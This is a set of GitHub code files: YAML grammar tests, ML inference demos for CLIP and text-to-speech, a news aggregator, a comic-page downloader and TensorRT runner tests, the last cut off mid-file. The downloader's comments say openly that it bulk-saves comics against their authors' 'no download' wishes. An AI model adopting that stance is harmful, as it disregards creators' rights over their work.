+{"seq_id":"11084571406","text":"\"\"\"\n Test cases for BNF grammar\n\n Run tests with\n \n pytest test_define_unbound.py\n\"\"\"\n\nimport lib\n\nl = lib.Lib()\n\ndef test_find_vars():\n assert lib.find_vars(l.bnf['c-l+literal'][0]) == set('ntm')\n assert lib.find_vars(l.bnf['l-nb-literal-text'][0]) == set('n')\n assert lib.find_vars(l.bnf['s-l+block-indented'][0]) == set('nmc')\n\ndef test_define_unbound():\n assert list(lib.define_unbound([])) == [{}]\n assert list(lib.define_unbound('m')) == [{\"m\": m} for m in range(0, lib.M_VAR_MAX)]\n assert list(lib.define_unbound('t')) == [\n {\n \"t\": 'CLIP'\n },\n {\n \"t\": 'KEEP'\n },\n {\n \"t\": 'STRIP'\n },\n ]\n assert list(lib.define_unbound(['t', 'm']))[:4] == [\n {\n \"m\": 0,\n \"t\": 'CLIP'\n },\n {\n \"m\": 0,\n \"t\": 'KEEP'\n },\n {\n \"m\": 0,\n \"t\": 'STRIP'\n },\n {\n \"m\": 1,\n \"t\": 'CLIP'\n },\n ]\n\ndef test_automagically_define_unbound():\n assert list(lib.automagically_define_unbound(l.bnf['s-l+block-indented'][0], dict(n='42', c='99')))[:2] == [{\n 'c': '99',\n 'm': 0,\n 'n': '42'\n }, {\n 'c': '99',\n 'm': 1,\n 'n': '42'\n }]\n","repo_name":"darthwalsh/JustAnotherYamlParser","sub_path":"test_define_unbound.py","file_name":"test_define_unbound.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"70457479849","text":"import sys\n\ncounts = {}\n\nwith open(sys.argv[1]) as f:\n for c in f.read():\n char = c.lower()\n counts[char] = counts.get(char, 0) + 1\n\nfor c, count in sorted(counts.items(), key=lambda x: x[1]):\n print(c, count)\n\n","repo_name":"benwr/keyboards","sub_path":"count_characters.py","file_name":"count_characters.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"25937476243","text":"# https://rinna.co.jp/ニュース/f/rinna社、日本語に特化した言語画像モデルclipを公開\n# coder from https://huggingface.co/rinna/japanese-clip-vit-b-16\n\nimport io\nimport requests\nfrom PIL import Image\nimport torch\nimport japanese_clip as ja_clip\n\ndevice = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n\nmodel, preprocess = ja_clip.load(\"rinna/japanese-clip-vit-b-16\", cache_dir=\"/tmp/japanese_clip\", device=device)\ntokenizer = ja_clip.load_tokenizer()\n\nimg = Image.open(io.BytesIO(requests.get(\n 'https://images.pexels.com/photos/2253275/pexels-photo-2253275.jpeg?auto=compress&cs=tinysrgb&dpr=3&h=750&w=1260').content))\nimage = preprocess(img).unsqueeze(0).to(device)\nencodings = ja_clip.tokenize(\n texts=[\"犬\", \"猫\", \"象\"],\n max_seq_len=77,\n device=device,\n tokenizer=tokenizer, # this is optional. if you don't pass, load tokenizer each time\n)\n\nwith torch.no_grad():\n image_features = model.get_image_features(image)\n text_features = model.get_text_features(**encodings)\n\n text_probs = (100.0 * image_features @ text_features.T).softmax(dim=-1)\n\nprint(\"Label probs:\", text_probs) # prints: [[1.0, 0.0, 0.0]]\n","repo_name":"sabirdvd/CLIP_Zero-Shot-Prediction","sub_path":"CLIP_run_jp.py","file_name":"CLIP_run_jp.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"16616760736","text":"#!/usr/bin/env python\n\"\"\"Synthetize sentences into speech.\"\"\"\n__author__ = 'Erdene-Ochir Tuguldur'\n\nimport os\nimport sys\nimport argparse\nfrom tqdm import *\n\nimport numpy as np\nimport torch\n\nfrom models import Text2Mel, SSRN\nfrom hparams import HParams as hp\nfrom audio import save_to_wav\nfrom utils import get_last_checkpoint_file_name, load_checkpoint, save_to_png\n\nparser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.ArgumentDefaultsHelpFormatter)\nparser.add_argument(\"--dataset\", required=True, choices=['ljspeech', 'mbspeech'], help='dataset name')\nargs = parser.parse_args()\n\nif args.dataset == 'ljspeech':\n from datasets.lj_speech import vocab, get_test_data\n\n SENTENCES = [\n \"The birch canoe slid on the smooth planks.\",\n \"Glue the sheet to the dark blue background.\",\n \"It's easy to tell the depth of a well.\",\n \"These days a chicken leg is a rare dish.\",\n \"Rice is often served in round bowls.\",\n \"The juice of lemons makes fine punch.\",\n \"The box was thrown beside the parked truck.\",\n \"The hogs were fed chopped corn and garbage.\",\n \"Four hours of steady work faced us.\",\n \"Large size in stockings is hard to sell.\",\n \"The boy was there when the sun rose.\",\n \"A rod is used to catch pink salmon.\",\n \"The source of the huge river is the clear spring.\",\n \"Kick the ball straight and follow through.\",\n \"Help the woman get back to her feet.\",\n \"A pot of tea helps to pass the evening.\",\n \"Smoky fires lack flame and heat.\",\n \"The soft cushion broke the man's fall.\",\n \"The salt breeze came across from the sea.\",\n \"The girl at the booth sold fifty bonds.\"\n ]\nelse:\n from datasets.mb_speech import vocab, get_test_data\n\n SENTENCES = [\n \"Нийслэлийн прокурорын газраас төрийн өндөр албан тушаалтнуудад холбогдох зарим эрүүгийн хэргүүдийг шүүхэд шилжүүлэв.\",\n \"Мөнх тэнгэрийн хүчин дор Монгол Улс цэцэглэн хөгжих болтугай.\",\n \"Унасан хүлгээ түрүү магнай, аман хүзүүнд уралдуулж, айрагдуулсан унаач хүүхдүүдэд бэлэг гардууллаа.\",\n \"Албан ёсоор хэлэхэд “Монгол Улсын хэрэг эрхлэх газрын гэгээнтэн” гэж нэрлээд байгаа зүйл огт байхгүй.\",\n \"Сайн чанарын бохирын хоолой зарна.\",\n \"Хараа тэглэх мэс заслын дараа хараа дахин муудах магадлал бага.\",\n \"Ер нь бол хараа тэглэх мэс заслыг гоо сайхны мэс засалтай адилхан гэж зүйрлэж болно.\",\n \"Хашлага даван, зүлэг гэмтээсэн жолоочийн эрхийг хоёр жилээр хасжээ.\",\n \"Монгол хүн бидний сэтгэлийг сорсон орон. Энэ бол миний төрсөн нутаг. Монголын сайхан орон.\",\n \"Постройка крейсера затягивалась из-за проектных неувязок, необходимости.\"\n ]\n\ntorch.set_grad_enabled(False)\n\ntext2mel = Text2Mel(vocab).eval()\nlast_checkpoint_file_name = get_last_checkpoint_file_name(os.path.join(hp.logdir, '%s-text2mel' % args.dataset))\n# last_checkpoint_file_name = 'logdir/%s-text2mel/step-020K.pth' % args.dataset\nif last_checkpoint_file_name:\n print(\"loading text2mel checkpoint '%s'...\" % last_checkpoint_file_name)\n load_checkpoint(last_checkpoint_file_name, text2mel, None)\nelse:\n print(\"text2mel not exits\")\n sys.exit(1)\n\nssrn = SSRN().eval()\nlast_checkpoint_file_name = get_last_checkpoint_file_name(os.path.join(hp.logdir, '%s-ssrn' % args.dataset))\n# last_checkpoint_file_name = 'logdir/%s-ssrn/step-005K.pth' % args.dataset\nif last_checkpoint_file_name:\n print(\"loading ssrn checkpoint '%s'...\" % last_checkpoint_file_name)\n load_checkpoint(last_checkpoint_file_name, ssrn, None)\nelse:\n print(\"ssrn not exits\")\n sys.exit(1)\n\n# synthetize by one by one because there is a batch processing bug!\nfor i in range(len(SENTENCES)):\n sentences = [SENTENCES[i]]\n\n max_N = len(SENTENCES[i])\n L = torch.from_numpy(get_test_data(sentences, max_N))\n zeros = torch.from_numpy(np.zeros((1, hp.n_mels, 1), np.float32))\n Y = zeros\n A = None\n\n for t in tqdm(range(hp.max_T)):\n _, Y_t, A = text2mel(L, Y, monotonic_attention=True)\n Y = torch.cat((zeros, Y_t), -1)\n _, attention = torch.max(A[0, :, -1], 0)\n attention = attention.item()\n if L[0, attention] == vocab.index('E'): # EOS\n break\n\n _, Z = ssrn(Y)\n\n Y = Y.cpu().detach().numpy()\n A = A.cpu().detach().numpy()\n Z = Z.cpu().detach().numpy()\n\n save_to_png('samples/%d-att.png' % (i + 1), A[0, :, :])\n save_to_png('samples/%d-mel.png' % (i + 1), Y[0, :, :])\n save_to_png('samples/%d-mag.png' % (i + 1), Z[0, :, :])\n save_to_wav(Z[0, :, :].T, 'samples/%d-wav.wav' % (i + 1))\n","repo_name":"tugstugi/pytorch-dc-tts","sub_path":"synthesize.py","file_name":"synthesize.py","file_ext":"py","file_size_in_byte":5289,"program_lang":"python","lang":"en","doc_type":"code","stars":175,"dataset":"github-code","pt":"53"}
+{"seq_id":"7200327016","text":"from tnaggregator.models import doc_table, entity_table, rss_table\nfrom . import scrape_today as sp\nfrom . import db\nfrom . import language_processing as lp\nfrom sqlalchemy import func\nfrom datetime import datetime, time, timedelta\n\nDOCUMENT_LIST = []\n\ndef fetch_rss():\n result = db.session.query(rss_table)\n return [row.rss for row in result]\n\ndef fetch_summary(doc_id):\n result = db.session.query(doc_table).filter_by(id=doc_id).first() \n return result.doc_summary\n\ndef content_from_id(doc_id):\n doc = db.session.query(doc_table).filter_by(id=doc_id).first()\n doc_link = doc.doc_link\n content = sp.get_content(doc_link)\n return content\n\n\ndef find_summary(doc_link):\n content = sp.get_content(doc_link)\n summary = lp.summarize(content)\n return summary\n\ndef find_all_summary():\n for document in DOCUMENT_LIST:\n document['doc_summary'] = find_summary(document['doc_link'])\n\ndef find_entities(doc_id):\n entity_rows = db.session.query(entity_table).filter_by(doc_id=doc_id).all() \n entities = [[row.entity_name,row.entity_type,row.entity_count] for row in entity_rows]\n return entities\n\ndef yesterday_midnight():\n midnight = datetime.combine(datetime.today(), time.min)\n yesterday_midnight = midnight - timedelta(days=1)\n return yesterday_midnight\n\n\ndef scrape(last_inserted_time):\n global DOCUMENT_LIST \n rss_list = fetch_rss()\n DOCUMENT_LIST = sp.scrape_rss(rss_list,last_inserted_time)\n \n\ndef insert_doc_table(): \n global DOCUMENT_LIST \n \n for document in DOCUMENT_LIST:\n db.session.execute(doc_table.__table__.insert().prefix_with('IGNORE').values(document))\n db.session.commit()\n \n\ndef fetch_news():\n result = doc_table.query.all()\n news_list = [[row.doc_title,row.doc_link,row.doc_date,row.id] for row in result]\n return news_list\n\ndef extract_entities():\n for document in DOCUMENT_LIST:\n result = db.session.query(doc_table).filter_by(doc_link=document['doc_link']).first()\n entity_list = extract_from_id(result.id)\n insert_entity(entity_list,result.id)\n\ndef insert_entity(entity_list,doc_id):\n for entity_tuple in entity_list:\n entity_dictionary = {'entity_type':entity_tuple[1],'entity_name':entity_tuple[0],'entity_count':entity_tuple[2],'doc_id':doc_id}\n db.session.execute(entity_table.__table__.insert().prefix_with('IGNORE').values(entity_dictionary))\n db.session.commit()\n\ndef extract_from_id(id):\n content = content_from_id(id)\n entities = lp.extract_entities(content)\n return entities\n\ndef check_last_insert():\n last_inserted_time = db.session.query(func.max(doc_table.doc_date)).first()[0]\n db.session.commit()\n if last_inserted_time is None:\n last_inserted_time = yesterday_midnight()\n return last_inserted_time\n\nlast_inserted_time = check_last_insert()\nscrape(last_inserted_time)\n\nif DOCUMENT_LIST:\n find_all_summary()\n insert_doc_table()\n extract_entities()\n \n","repo_name":"soumyasomasundaran/TechNewsAggregator","sub_path":"tnaggregator/technews.py","file_name":"technews.py","file_ext":"py","file_size_in_byte":2976,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"38374537908","text":"#!/usr/bin/env python3\n\n# Simple utility to get comics from acomics.ru.\n# Developed by Aichi Haru\n# Strongly violates authors \"no download\" right :)\n\n# Version 0.2 (2023-06-23)\n\n# --- Change log ---\n# Version 0.2 (2023-06-23) - --info key added\n# Version 0.1 (2023-06-16) - Initial release\n\n\n# Prerequisites\n# 1. python3\n# 2. beautifulsoup v4. Install like apt-get install python3-bs4, pip3 install beautifulsoup4 or somehow either\n# 3. argparse modile\n\n\n\nimport os,sys\nimport time\nimport bs4\nimport argparse\nimport requests\n\nfrom urllib.parse import urlparse\nfrom pathlib import Path\n\nprogram_name = 'Acomics serial image grabber'\nprogram_version = '0.2'\n\nclass container():\n def __str__(self):\n return(str({d : getattr(self,d) for d in self.__dict__}))\n\ndef get_parsed_page(url):\n reply = container()\n source = requests.get(url)\n if (source.status_code == 200):\n soup = bs4.BeautifulSoup(source.text, features=\"lxml\")\n reply.error = False\n reply.parsed = soup\n else: \n reply.error = True \n reply.message = f'Cannot load data from {url}'\n return reply\n \n\n# -[ The mainest main() ]-\n\ndef main():\n\n start_time = time.time()\n\n default_url_prefix = \"https://acomics.ru\"\n\n parser = argparse.ArgumentParser(description=f\"{program_name} v.{program_version}\")\n parser.add_argument('-i', '--info', dest='info', default=False, action='store_true', help=\"Show comics info\")\n parser.add_argument('-n', '--new', dest='new', default=False, action='store_true', help=\"Download only new pages\")\n parser.add_argument('-r', '--rewrite', dest='rewrite', default=False, action='store_true', help=\"Rewrite existing files\")\n parser.add_argument('-b', '--first-page', type=int, dest='first_page', default=1, help=\"First page number\")\n parser.add_argument('-e', '--last-page', type=int, dest='last_page', default=0, help=\"Last page number\")\n parser.add_argument('URL', help='Comic URL https://acomics.ru/~NAME or just NAME')\n parser.add_argument('DIR', nargs=\"?\", help='Optional directory path')\n \n args = parser.parse_args()\n\n # Phase 1: parse URL\n\n url = urlparse(args.URL)\n \n source_url = f\"{args.URL}\" if (url.scheme == 0) else f\"{default_url_prefix}/~{args.URL}\" # Starting HTML link\n url_prefix = f\"{url.scheme}://{url.netloc}\" if url.scheme else default_url_prefix # URL prefix for image download\n \n print(f\"{program_name} v.{program_version}\\n\\nLoading comic data from {source_url}\")\n \n dir_name = args.DIR if args.DIR else url.path.replace('~','')\n\n # Prefetch comic parameters\n page = get_parsed_page(source_url) \n if page.error:\n print(f\"Error: {page.message}\")\n sys.exit(1)\n\n comic = page.parsed\n\n error_techinfo = comic.find('section',{'class':'errorTechInfo'})\n comic_title = comic.find('meta', {'property':'og:title'}).get('content')\n comic_desc = comic.find('meta', {'property':'og:description'}).get('content')\n first_page = int(comic.find('a', {'class':'read1'}).get('href').split('/')[-1])\n last_page = int(comic.find('a', {'class':'read2'}).get('href').split('/')[-1])\n\n if error_techinfo:\n print(f\"Error: No comic found at {source_url}\")\n sys.exit(1)\n\n description_text = f\"\"\"\n Comic title: {comic_title}\n Description: {comic_desc}\n Number of pages: {last_page - first_page + 1}\n URL: {source_url}\n Download date: {time.ctime()}\n \"\"\"\n \n print(f\"\\n{description_text}\\n\")\n\n if args.info: sys.exit() # Just show summary\n\n\n # Create comic directory and descriprion\n Path(dir_name).mkdir(parents=True, exist_ok=True) # Make dir\n desc_file = f\"{dir_name}/description-{comic_title}.txt\"\n open(desc_file,'w').write(description_text)\n \n\n if args.first_page: first_page = args.first_page\n if args.last_page: last_page = args.last_page\n\n source_url += f\"/{first_page}\"\n\n page_counter = 0\n page_iterator = first_page\n dir_made = False\n\n print(f\"Downloading pages {first_page}..{last_page}\\n\")\n \n # Phase 2: grab images\n\n while True:\n \n step_timer = f\"{int(time.time()-start_time):05} sec\"\n source = requests.get(source_url)\n if (source.status_code == 200):\n\n soup = bs4.BeautifulSoup(source.text, features=\"lxml\")\n main_image = soup.find('img',{'id':'mainImage'})\n next_page = soup.find('a', {'class':'button large comic-nav-next'})\n\n # Download image\n if (main_image):\n image_src = main_image.get('src')\n if image_src:\n image_url = f\"{url_prefix}/{main_image.get('src')}\"\n file_ext = image_src.split('.')[-1]\n image_file = f\"{dir_name}/page-{page_iterator:04}-{main_image.get('alt').replace('/','_')}.{file_ext}\"\n if not os.path.exists(image_file) or args.rewrite:\n image_req = requests.get(image_url, allow_redirects=True)\n if (image_req.status_code == 200):\n open(image_file,'wb').write(image_req.content)\n print(f\"[{step_timer}] Page {page_iterator}: File {image_file} saved\")\n else:\n print(f\"[{step_timer}] Page {page_iterator}: Warning: file {image_file} already exists\")\n else:\n print(f\"[{step_timer}] Page {page_iterator}: Warning: cannot load image from page {source_url}\")\n \n #print(f\"Image: htttps://acomics.ru/{main_image.get('src')}, File: {main_image.get('alt')}, Save name: page-{page_counter}-{main_image.get('alt')}, Next page: {next_page.get('href')}\")\n if next_page == None or page_iterator == last_page: break\n page_counter += 1\n page_iterator += 1\n source_url = next_page.get('href')\n \n else:\n print(f\"[{step_timer}] Error: cannot load data from {source_url}\")\n \n # Phase 3: Total report\n\n print(f\"{'-'*40}\\nTotal: Processed {page_counter} pages in {int(time.time()-start_time)} seconds\\n\")\n\n\n# -[ Entry point ]-\n\nif __name__ == \"__main__\":\n main()\n\n# -[ The end ]-\n\n","repo_name":"HaruAichi/AcomicsLoader","sub_path":"Acomics_Loader.py","file_name":"Acomics_Loader.py","file_ext":"py","file_size_in_byte":6245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"70315620007","text":"import threading\n\nimport numpy as np\nimport pytest\nimport tensorrt as trt\n\nfrom polygraphy import cuda, mod\nfrom polygraphy.backend.trt import (\n CreateConfig,\n EngineFromNetwork,\n NetworkFromOnnxBytes,\n Profile,\n TrtRunner,\n engine_from_network,\n network_from_onnx_bytes,\n)\nfrom polygraphy.exception import PolygraphyException\nfrom polygraphy.logger import G_LOGGER\nfrom tests.helper import time_func\nfrom tests.models.meta import ONNX_MODELS\n\n\nclass TestLoggerCallbacks:\n @pytest.mark.parametrize(\"sev\", G_LOGGER.SEVERITY_LETTER_MAPPING.keys())\n def test_set_severity(self, sev):\n G_LOGGER.module_severity = sev\n\n\n@pytest.fixture(scope=\"class\")\ndef nonzero_engine():\n model = ONNX_MODELS[\"nonzero\"]\n network_loader = NetworkFromOnnxBytes(model.loader)\n return engine_from_network(network_loader)\n\n\nclass TestTrtRunner:\n def test_can_name_runner(self):\n NAME = \"runner\"\n runner = TrtRunner(None, name=NAME)\n assert runner.name == NAME\n\n def test_basic(self):\n model = ONNX_MODELS[\"identity\"]\n network_loader = NetworkFromOnnxBytes(model.loader)\n with TrtRunner(EngineFromNetwork(network_loader)) as runner:\n assert runner.optimization_profile is None\n assert runner.is_active\n assert runner.owns_engine\n assert runner.owns_context\n model.check_runner(runner)\n assert runner.last_inference_time() is not None\n assert not runner.is_active\n\n @pytest.mark.serial\n def test_warn_if_impl_methods_called(self, check_warnings_on_runner_impl_methods):\n model = ONNX_MODELS[\"identity\"]\n runner = TrtRunner(EngineFromNetwork(NetworkFromOnnxBytes(model.loader)))\n check_warnings_on_runner_impl_methods(runner)\n\n @pytest.mark.skipif(\n mod.version(trt.__version__) <= mod.version(\"8.5.0.9\"), reason=\"Unsupported for TRT 8.4 and older\"\n )\n @pytest.mark.parametrize(\n \"inp, expected\",\n [\n ([1, 0, 1, 1], [[0, 2, 3]]),\n ([1, 0, 0, 1], [[0, 3]]),\n ([0, 0, 0, 1], [[3]]),\n ],\n )\n def test_data_dependent_shapes(self, nonzero_engine, inp, expected):\n with TrtRunner(nonzero_engine) as runner:\n outputs = runner.infer({\"input\": np.array(inp, dtype=np.int32)})\n assert np.array_equal(outputs[\"nonzero_out_0\"], np.array(expected, dtype=np.int32))\n\n def test_context(self):\n model = ONNX_MODELS[\"identity\"]\n engine = engine_from_network(NetworkFromOnnxBytes(model.loader))\n with engine, TrtRunner(engine.create_execution_context) as runner:\n model.check_runner(runner)\n assert not runner.owns_engine\n assert runner.owns_context\n\n def test_device_buffer_order_matches_bindings(self):\n model = ONNX_MODELS[\"reducable\"]\n engine = engine_from_network(NetworkFromOnnxBytes(model.loader))\n with engine, TrtRunner(engine) as runner:\n dev_buf_order = list(runner.device_buffers.keys())\n for binding, dev_buf_name in zip(engine, dev_buf_order):\n assert binding == dev_buf_name\n\n def test_shape_output(self):\n model = ONNX_MODELS[\"reshape\"]\n engine = engine_from_network(NetworkFromOnnxBytes(model.loader))\n with engine, TrtRunner(engine.create_execution_context) as runner:\n model.check_runner(runner)\n\n def test_multithreaded_runners_from_engine(self):\n model = ONNX_MODELS[\"identity\"]\n engine = engine_from_network(NetworkFromOnnxBytes(model.loader))\n\n with engine, TrtRunner(engine) as runner0, TrtRunner(engine) as runner1:\n t1 = threading.Thread(target=model.check_runner, args=(runner0,))\n t2 = threading.Thread(target=model.check_runner, args=(runner1,))\n t1.start()\n t2.start()\n t1.join()\n t2.join()\n\n @pytest.mark.skipif(mod.version(trt.__version__)[0:2] == mod.version(\"7.2\"), reason=\"Bugged in TRT 7.2\")\n @pytest.mark.parametrize(\"use_optimization_profile\", [True, False])\n def test_multiple_profiles(self, use_optimization_profile):\n model = ONNX_MODELS[\"dynamic_identity\"]\n profile0_shapes = [(1, 2, 1, 1), (1, 2, 1, 1), (1, 2, 1, 1)] # Use min==opt==max to fix shapes in the engine.\n profile1_shapes = [(1, 2, 1, 1), (1, 2, 2, 2), (1, 2, 4, 4)]\n profile2_shapes = [(1, 2, 4, 4), (1, 2, 8, 8), (1, 2, 16, 16)]\n network_loader = NetworkFromOnnxBytes(model.loader)\n profiles = [\n Profile().add(\"X\", *profile0_shapes),\n Profile().add(\"X\", *profile1_shapes),\n Profile().add(\"X\", *profile2_shapes),\n ]\n config_loader = CreateConfig(profiles=profiles)\n engine = engine_from_network(network_loader, config_loader)\n context = engine.create_execution_context()\n\n for index, shapes in enumerate([profile0_shapes, profile1_shapes, profile2_shapes]):\n with TrtRunner(\n context,\n optimization_profile=index if use_optimization_profile else None,\n ) as runner:\n if not use_optimization_profile:\n runner.set_profile(index)\n\n assert runner.context.active_optimization_profile == index\n for shape in shapes:\n model.check_runner(runner, {\"X\": shape})\n\n def test_empty_tensor_with_dynamic_input_shape_tensor(self):\n model = ONNX_MODELS[\"empty_tensor_expand\"]\n shapes = [(1, 2, 0, 3, 0), (2, 2, 0, 3, 0), (4, 2, 0, 3, 0)]\n network_loader = NetworkFromOnnxBytes(model.loader)\n profiles = [Profile().add(\"new_shape\", *shapes)]\n config_loader = CreateConfig(profiles=profiles)\n\n with TrtRunner(EngineFromNetwork(network_loader, config_loader)) as runner:\n for shape in shapes:\n model.check_runner(runner, {\"new_shape\": shape})\n\n @pytest.mark.skipif(mod.version(trt.__version__) < mod.version(\"7.0\"), reason=\"Test not compatible with TRT 6\")\n @pytest.mark.parametrize(\n \"names, err\",\n [\n ([\"fake-input\", \"x\"], \"Extra inputs in\"),\n ([\"fake-input\"], \"The following inputs were not found\"),\n ([], \"The following inputs were not found\"),\n ],\n )\n def test_error_on_wrong_name_feed_dict(self, names, err):\n model = ONNX_MODELS[\"identity\"]\n network_loader = NetworkFromOnnxBytes(model.loader)\n with TrtRunner(EngineFromNetwork(network_loader)) as runner:\n with pytest.raises(PolygraphyException, match=err):\n runner.infer({name: np.ones(shape=(1, 1, 2, 2), dtype=np.float32) for name in names})\n\n @pytest.mark.skipif(mod.version(trt.__version__) < mod.version(\"7.0\"), reason=\"Test not compatible with TRT 6\")\n def test_error_on_wrong_dtype_feed_dict(self):\n model = ONNX_MODELS[\"identity\"]\n network_loader = NetworkFromOnnxBytes(model.loader)\n with TrtRunner(EngineFromNetwork(network_loader)) as runner:\n with pytest.raises(PolygraphyException, match=\"unexpected dtype.\"):\n runner.infer({\"x\": np.ones(shape=(1, 1, 2, 2), dtype=np.int32)})\n\n @pytest.mark.skipif(mod.version(trt.__version__) < mod.version(\"7.0\"), reason=\"Test not compatible with TRT 6\")\n def test_error_on_wrong_shape_feed_dict(self):\n model = ONNX_MODELS[\"identity\"]\n network_loader = NetworkFromOnnxBytes(model.loader)\n with TrtRunner(EngineFromNetwork(network_loader)) as runner:\n with pytest.raises(PolygraphyException, match=\"incompatible shape.\"):\n runner.infer({\"x\": np.ones(shape=(1, 1, 3, 2), dtype=np.float32)})\n\n @pytest.mark.parametrize(\"use_view\", [True, False]) # We should be able to use DeviceArray in place of DeviceView\n def test_device_views(self, use_view):\n model = ONNX_MODELS[\"reducable\"]\n network_loader = NetworkFromOnnxBytes(model.loader)\n with TrtRunner(EngineFromNetwork(network_loader)) as runner, cuda.DeviceArray((1,), dtype=np.float32) as x:\n x.copy_from(np.ones((1,), dtype=np.float32))\n outputs = runner.infer(\n {\n \"X0\": x.view() if use_view else x,\n \"Y0\": np.ones((1,), dtype=np.float32),\n }\n )\n assert outputs[\"identity_out_6\"][0] == 2\n assert outputs[\"identity_out_8\"][0] == 2\n\n def test_no_output_copy(self):\n model = ONNX_MODELS[\"identity\"]\n network_loader = NetworkFromOnnxBytes(model.loader)\n with TrtRunner(EngineFromNetwork(network_loader)) as runner:\n inp = np.ones(shape=(1, 1, 2, 2), dtype=np.float32)\n outputs = runner.infer({\"x\": inp}, copy_outputs_to_host=False)\n assert isinstance(outputs[\"y\"], cuda.DeviceView)\n assert np.array_equal(outputs[\"y\"].numpy(), inp)\n\n def test_subsequent_infers_with_different_input_types(self):\n model = ONNX_MODELS[\"identity\"]\n network_loader = NetworkFromOnnxBytes(model.loader)\n with TrtRunner(EngineFromNetwork(network_loader)) as runner:\n inp = np.ones(shape=(1, 1, 2, 2), dtype=np.float32)\n\n def check(outputs):\n assert np.all(outputs[\"y\"] == inp)\n\n check(runner.infer({\"x\": inp}))\n check(runner.infer({\"x\": cuda.DeviceArray(shape=inp.shape, dtype=inp.dtype).copy_from(inp)}))\n check(runner.infer({\"x\": inp}))\n\n @pytest.mark.parametrize(\"use_view\", [True, False]) # We should be able to use DeviceArray in place of DeviceView\n def test_device_view_dynamic_shapes(self, use_view):\n model = ONNX_MODELS[\"dynamic_identity\"]\n profiles = [\n Profile().add(\"X\", (1, 2, 1, 1), (1, 2, 2, 2), (1, 2, 4, 4)),\n ]\n runner = TrtRunner(EngineFromNetwork(NetworkFromOnnxBytes(model.loader), CreateConfig(profiles=profiles)))\n with runner, cuda.DeviceArray(shape=(1, 2, 3, 3), dtype=np.float32) as arr:\n inp = np.random.random_sample(size=(1, 2, 3, 3)).astype(np.float32)\n arr.copy_from(inp)\n outputs = runner.infer({\"X\": cuda.DeviceView(arr.ptr, arr.shape, arr.dtype) if use_view else arr})\n assert np.all(outputs[\"Y\"] == inp)\n assert outputs[\"Y\"].shape == (1, 2, 3, 3)\n\n @pytest.mark.skipif(mod.version(trt.__version__) < mod.version(\"8.0\"), reason=\"Unsupported before TRT 8\")\n def test_cannot_use_device_view_shape_tensor(self):\n model = ONNX_MODELS[\"empty_tensor_expand\"]\n with TrtRunner(EngineFromNetwork(NetworkFromOnnxBytes(model.loader))) as runner, cuda.DeviceArray(\n shape=(5,), dtype=np.int32\n ) as arr:\n with pytest.raises(PolygraphyException, match=\"it must reside in host memory\"):\n runner.infer({\"data\": np.ones((2, 0, 3, 0), dtype=np.float32), \"new_shape\": arr})\n\n @pytest.mark.flaky\n @pytest.mark.serial\n @pytest.mark.parametrize(\"copy_outputs\", [True, False], ids=[\"output_dtoh\", \"no_output_copy\"])\n @pytest.mark.parametrize(\"copy_inputs\", [True, False], ids=[\"input_htod\", \"no_input_copy\"])\n def test_infer_overhead(self, copy_inputs, copy_outputs):\n model = ONNX_MODELS[\"needs_constraints\"]\n inp_name = list(model.input_metadata.keys())[0]\n inp_shape = model.input_metadata[inp_name].shape\n\n inp = np.ones(shape=inp_shape, dtype=np.float32)\n dev_inp = cuda.DeviceArray(shape=inp.shape, dtype=inp.dtype)\n dev_inp.copy_from(inp)\n\n out = np.zeros(shape=inp_shape, dtype=np.float32)\n dev_out = cuda.DeviceArray(shape=out.shape, dtype=out.dtype)\n\n with engine_from_network(\n network_from_onnx_bytes(model.loader)\n ) as engine, engine.create_execution_context() as context, TrtRunner(\n context\n ) as runner, dev_inp, dev_out, cuda.Stream() as stream:\n # Inference outside the TrtRunner\n def infer():\n if copy_inputs:\n dev_inp.copy_from(inp, stream=stream)\n context.execute_async_v2(bindings=[dev_inp.ptr, dev_out.ptr], stream_handle=stream.ptr)\n if copy_outputs:\n dev_out.copy_to(out, stream=stream)\n stream.synchronize()\n\n native_time = time_func(infer)\n\n feed_dict = {inp_name: (inp if copy_inputs else dev_inp)}\n\n def runner_infer():\n runner.infer(feed_dict, check_inputs=False, copy_outputs_to_host=copy_outputs)\n\n runner_time = time_func(runner_infer)\n\n print(f\"Absolute difference: {runner_time - native_time:.5g}\")\n print(f\"Relative difference: {runner_time / native_time:.5g}\")\n assert (runner_time - native_time) < 1e-3 or runner_time <= (native_time * 1.10)\n\n @pytest.mark.skipif(mod.version(trt.__version__) < mod.version(\"8.5\"), reason=\"Unsupported before TRT 8.5\")\n @pytest.mark.parametrize(\"hwc_input\", [True, False], ids=[\"hwc_input\", \"chw_input\"])\n @pytest.mark.parametrize(\"hwc_output\", [True, False], ids=[\"hwc_output\", \"chw_output\"])\n def test_infer_chw_format(self, hwc_input, hwc_output):\n model = ONNX_MODELS[\"identity_multi_ch\"]\n inp_shape = model.input_metadata[\"x\"].shape\n builder, network, parser = network_from_onnx_bytes(model.loader)\n\n formats = 1 << int(trt.TensorFormat.HWC)\n if hwc_input:\n network.get_input(0).allowed_formats = formats\n if hwc_output:\n network.get_output(0).allowed_formats = formats\n\n engine = engine_from_network((builder, network))\n\n with TrtRunner(engine) as runner:\n inp = np.random.normal(size=(inp_shape)).astype(np.float32)\n if hwc_input:\n inp = inp.transpose(0, 2, 3, 1)\n\n outputs = runner.infer({\"x\": inp})\n if hwc_input == hwc_output: # output in CHW/HWC format and similarly shaped\n assert np.allclose(outputs[\"y\"], inp)\n elif not hwc_input and hwc_output: # output in HWC format and shaped (N, H, W, C)\n assert np.allclose(outputs[\"y\"].transpose(0, 3, 1, 2), inp)\n else: # hwc_input and not hwc_output: output in CHW format and shaped (N, C, H, W)\n assert np.allclose(outputs[\"y\"].transpose(0, 2, 3, 1), 